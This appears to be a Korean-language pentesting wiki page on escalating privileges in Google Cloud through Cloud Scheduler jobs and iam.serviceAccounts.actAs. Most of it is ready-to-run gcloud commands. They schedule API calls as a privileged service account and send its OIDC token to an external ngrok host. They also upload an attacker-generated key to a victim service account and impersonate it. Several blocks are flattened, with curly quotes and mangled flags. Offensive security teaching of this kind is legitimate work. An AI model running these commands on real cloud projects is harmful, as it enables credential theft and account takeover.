GCP - Cloud Scheduler Privesc

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Cloud Scheduler

자세한 정보:

GCP - Cloud Scheduler Enum

`cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

해당 권한을 가진 공격자는 Cloud Scheduler를 악용하여 cron 작업을 특정 Service Account로 인증(authenticate)하도록 만들 수 있습니다. 공격자는 HTTP POST 요청을 구성하여 Storage 버킷 생성과 같은 작업을 Service Account의 신분으로 실행되도록 예약할 수 있습니다. 이 방법은 Scheduler가 *.googleapis.com 엔드포인트를 대상으로 하고 요청을 인증할 수 있는 기능을 이용하므로, 단순한 gcloud 명령으로 Google API 엔드포인트를 직접 조작할 수 있습니다.

OAuth 토큰 헤더로 googleapis.com을 통해 모든 Google API에 접근

새 Storage 버킷 생성:

API를 통해 GCS 버킷을 생성하는 Cloud Scheduler 작업 생성

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ```

권한을 상승시키려면, attacker는 지정된 Service Account를 가장하여 원하는 API를 대상으로 하는 HTTP 요청을 단순히 작성하면 된다

Exfiltrate OIDC service account token

OIDC token을 exfiltrate하기 위한 Cloud Scheduler job 생성

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

Listen in the ngrok address to get the OIDC token in clear text.

</details>

HTTP 응답을 확인해야 하는 경우 **실행 로그를 확인해 보세요**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

이전 시나리오와 마찬가지로 이미 생성된 scheduler를 **업데이트**하여 토큰을 탈취하거나 작업을 수행할 수 있습니다. 예를 들어:

<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

private key를 SA에 업로드하고 이를 impersonate하는 또 다른 예:

Cloud Scheduler를 통해 Service Account에 private key를 업로드하고 이를 impersonate하는 방법

```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"

Remove last new line character of the public key

file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem

Update scheduler to upload the key to a SA

For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND

gcloud scheduler jobs update http scheduler_lab_1
–schedule=‘* * * * *’
–uri=“https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json”
–message-body=“{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}”
–update-headers “Content-Type=application/json”
–location us-central1
–oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

Wait 1 min

sleep 60

Check the logs to check it worked

gcloud logging read ‘resource.type=“cloud_scheduler_job” AND resource.labels.job_id=“scheduler_lab_1” AND resource.labels.location=“us-central1” jsonPayload.@type=“type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished”’ –limit 10 –project –format=json

If any ‘“status”: 200’ it means it worked!

Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: “status”: 400

Build the json to contact the SA

Get privatekey in json format

file_content=$(<“/tmp/private_key.pem”) private_key_json=$(jq -Rn –arg str “$file_content” ‘$str’)

Get ID of the generated key

gcloud iam service-accounts keys list –iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

Create the json in a file

NOTE that you need to export your project-id in the env var PROJECT_ID

and that this script is expecting the key ID to be the first one (check the `head`)

export PROJECT_ID=… cat > /tmp/lab.json <<EOF { “type”: “service_account”, “project_id”: “$PROJECT_ID”, “private_key_id”: “$(gcloud iam service-accounts keys list –iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d “ “ -f 1 | grep -v KEY_ID | head -n 1)”, “private_key”: $private_key_json, “client_email”: “scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com”, “client_id”: “$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d “’” -f 2)“, “auth_uri”: “https://accounts.google.com/o/oauth2/auth”, “token_uri”: “https://oauth2.googleapis.com/token”, “auth_provider_x509_cert_url”: “https://www.googleapis.com/oauth2/v1/certs”, “client_x509_cert_url”: “https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com”, “universe_domain”: “googleapis.com” } EOF

Activate the generated key

gcloud auth activate-service-account –key-file=/tmp/lab.json

</details>

## 참고자료

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

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